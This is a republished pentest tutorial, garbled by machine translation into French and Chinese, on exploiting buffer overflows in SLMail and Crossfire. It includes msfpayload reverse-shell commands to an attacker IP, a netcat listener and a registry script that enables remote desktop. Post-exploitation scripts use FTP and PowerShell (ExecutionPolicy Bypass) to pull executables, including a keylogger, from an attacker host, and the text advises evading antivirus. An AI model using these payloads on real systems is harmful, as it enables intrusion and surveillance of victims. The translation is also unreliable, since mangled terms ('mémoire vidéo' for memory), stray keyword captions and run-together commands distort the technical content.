Maison  >  Article  >  Tutoriel système  >  Tutoriel de test d'intrusion Linux : vous enseigne étape par étape le débordement de pile, du début à l'abandon

Tutoriel de test d'intrusion Linux : vous enseigne étape par étape le débordement de pile, du début à l'abandon

WBOY
WBOYavant
2024-02-02 09:36:02485parcourir

Veuillez vous référer au didacticiel de test d'intrusion KaliLinux de M. Yuan Fanghong de la salle de classe Security Niu pour le contenu des notes

Le nœud de toutes les vulnérabilités vient de la saisie des données. Le principe du débordement de tampon est que la frontière entre les données et le code est floue. Lorsque la limite du tampon n'est pas stricte, le tampon sera « explosé » en raison du problème. variable transmettant des données mal formées ou une erreur d'exécution du programme "Exploiter", écrasant ainsi les données dans les zones de mémoire vidéo adjacentes, modifiant avec succès les données de la mémoire vidéo, ce qui peut conduire au kidnapping de processus, à l'exécution de code malveillant et à l'acquisition du contrôle du serveur.

Pour mieux comprendre le principe du buffer overflow, merci de vous référer à l'article repris par l'auteur :

Vous apprendre étape par étape le débordement de pile, du début à l'abandon (Partie 1)

Vous apprendre étape par étape à utiliser le débordement de pile, du début à l'abandon (Partie 2)

Répertoire d'articles

1. Façons de découvrir les vulnérabilités (1) Audit du code source

Les développeurs de logiciels peuvent utiliser l'ingénierie sociale et d'autres méthodes pour obtenir le code source à des fins de révision et de débogage. Les conditions sont strictes et le code source est généralement indisponible.

(2) Ingénierie inverse

Utilisez l'ingénierie inverse pour obtenir le code source de l'assembly à des fins d'analyse. L'analyse du code d'assemblage est une charge de travail lourde et difficile.

linux防缓冲区溢出_缓冲区溢出代码例子_缓冲区溢出shellcode

(3) Fuzzing

C'est un moyen de découvrir les vulnérabilités logicielles en fournissant une entrée inattendue au système cible et en surveillant les résultats anormaux. Généralement, cela se fait en utilisant une entrée valide et en ajoutant des écarts aléatoires, ce qui nécessite l'utilisation d'outils de débogage logiciel (tels que : ImmunityDebugger). .

2. Processus de test de fuzz

Tout d'abord, vous devez comprendre certaines technologies de protection de sécurité contre le débordement de tampon, car ce mécanisme de protection doit être évité pendant le processus de test de fuzz.

(1) Windows

Le logiciel de test est « SLMail5.5.0MailServer » et sa commande PASS présente une vulnérabilité de débordement de tampon. Idée de base : (Utilisez ImmunityDebugger comme outil de débogage)

1. Utilisez un script Python pour tester si la commande PASS débordera lorsqu'elle recevra une grande quantité de données. Habituellement, s'il n'y a pas de débordement après 3 000 caractères, cela signifie qu'il ne devrait pas y avoir de vulnérabilité de débordement.

2. Après avoir découvert la vulnérabilité de débordement, déterminez l'adresse correspondant à l'EIP. Les méthodes de base sont : la méthode binaire et la méthode de chaîne unique. La méthode de chaîne unique peut être générée avec le script métasploit usr/share/metasploit-framework/tools/pattern_create.rb3000.

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

3. Remplacez l'EIP par l'adresse de la mémoire vidéo correspondant au Shellcode, écrivez le Shellcode dans l'espace d'adressage, le programme lit la valeur du registre EIP, passe au segment de code du shellcode et l'exécute.

4. Grâce à l'outil de débogage, nous avons constaté qu'une fois que les données envoyées ont rempli l'EIP, elles rempliront ensuite l'espace pointé par ESP, nous mettons donc le Shellcode à l'emplacement d'ESP.

5. Déterminez la distance entre l'adresse ESP et le bas de la pile Linux anti-buffer overflow, c'est-à-dire que la taille du Shellcode peut être stockée. Utilisez un script Python pour envoyer des données au logiciel à des fins de test et déboguer le logiciel pour voir la quantité de données stockées dans l'espace pointé par l'ESP. Une vue de l'espace mémoire vidéo d'un processus de système informatique moderne est présentée dans la figure :

Figure 1 Vue de l'espace mémoire du processus

6. En raison du mécanisme ASLR, l'adresse de la pile d'appels de fonction change de manière aléatoire à chaque exécution du logiciel, le codage en dur n'est donc pas réalisable. L'alternative est de rechercher un module système avec une adresse fixe dans la mémoire vidéo et de le trouver. le saut d'adresse de l'instruction JMPESP dans le module. Ensuite, cette instruction passe directement à ESP, puis exécute le shellcode. Utilisez le script mona.py pour identifier le module de mémoire vidéo Recherchez "returnaddress" qui est le module du JMPESP. Instruction Trouvez les modules système qui ne sont pas protégés par les mécanismes DEP et ASLR ! instruction dans le module!monafind-s "xffxe4"-mslmfc.dll, après avoir trouvé l'adresse de l'instruction, convertissez le Remplissez l'adresse de la version EIPlinux qq, construisez le Shellcode et supprimez les mauvais caractères : /msfpayloadwin32_reverseLHOST=192.168.20.8LPORT =443R|./msfencode-b"x00x0ax0d

Remarque : La charge utile sélectionnée lors de la construction du Shellcode est une connexion inversée au lieu d'une connexion directe à lier. Cela peut éviter la stratégie de blocage du pare-feu.

7. Enfin, activez l'exploitation du port nc-vlp443. Une fois le shellcode exécuté, quittez l'ensemble du processus à l'aide de la méthode ExitProcess, ce qui entraînera le blocage du service SMS. Slmail est une application basée sur des threads. l'ensemble du service de planter et d'obtenir des débordements répétés : /msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b"x00x0ax0d"

Remarque : Différents types de programmes, protocoles et vulnérabilités considéreront les caractères individuels comme de mauvais caractères. Ces caractères ont des utilisations fixes, de sorte que les mauvais caractères ne peuvent pas apparaître dans l'adresse de retour, le shellcode ou le tampon. Envoyez 0x00-0xff256 caractères pour trouver tous les mauvais caractères. Les mauvais caractères peuvent être codés à l'aide du script métasploit ./msfencode.

8. Si vous souhaitez contrôler davantage la cible de l'attaque, vous pouvez ouvrir le bureau distant en modifiant le registre. Plus de 90 % des configurations sous Windows peuvent être complétées en modifiant le registre :

.

<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
Server]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg
<span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg
regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg

(2)Linux

Le logiciel de test est « Crossfire » et la version 1.9.0 présente une vulnérabilité de débordement de tampon lors de l'acceptation de connexions socket entrantes. L'idée de base est la même que celle de Windows Fuzzing (edb est utilisé comme outil de débogage), je n'entrerai donc pas dans les détails. Vous devez faire attention aux points suivants :

.

1. Commande de débogage : edb--run/usr/games/crossfire/bin/crossfire

2. Lors de la vérification du débordement de tampon, nous avons constaté que la valeur d'EIP ne peut être couverte avec précision que lorsque la charge utile est fixée à 4368 octets. De cette façon, l'espace pointé par ESP n'a que 7 octets, ce qui n'est pas suffisant. mettez le Shellcode. Par conséquent, la recherche dans l'edb peut être Le registre entièrement couvert par les données trouve EAX, donc, comme solution de contournement, ESP passe à EAX pour exécuter le Shellcode.

3. Sélectionnez et modifiez EXP

Il existe des codes d'aide (EXP) sur Internet pour diverses vulnérabilités logicielles publiées depuis longtemps. Nous pouvons choisir des sources EXP fiables et effectuer des recherches ou des modifications sur cette base, en particulier le Shellcode ne peut pas être utilisé facilement Anti-tampon Linux. overflow, il existe Pour les applications système Linux pouvant contenir des virus, les langages de programmation qu'il faut maîtriser incluent généralement Python, C, C++, Ruby, etc. Plusieurs sources d'EXP fiables :

Après avoir reçu de l'EXP, vous devez faire attention aux points suivants :

4. Étape post-vulnérabilité

Y compris d'autres opérations telles que le téléchargement d'outils, l'élévation des privilèges, l'effacement des traces d'attaque et l'installation de portes latérales. Ici, nous discutons uniquement de l'opération de téléchargement de fichiers. Le téléchargement de fichiers est la base de la pré-installation des chevaux de Troie et de l'installation des portes latérales. le shell du système d’exploitation cible qui a été obtenu. Effectuer les opérations de téléchargement de fichiers.

(一)Windows

首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:

1.Linux端:配置ftp服务

登陆FTP有三种形式:

缓冲区溢出代码例子_缓冲区溢出shellcode_linux防缓冲区溢出

<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span>
vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span>
<span class="token comment">#添加配置</span>
local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span>
<span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span>
<span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span>
chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span>
chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span>
chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list
<span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span>
userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span>
userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span>
<span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span>
<span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span>
<span class="token function">mkdir</span> /home/ftpduser
<span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1
<span class="token function">service</span> vsftpd start

2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置

(1)使用ftp传输文件

由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。

<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt
<span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt
ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt

(2)使用powershell传输文件

<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span>
<span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient
<span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span>
<span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span>
<span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span>
powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1

(二)Linux

借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。

注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer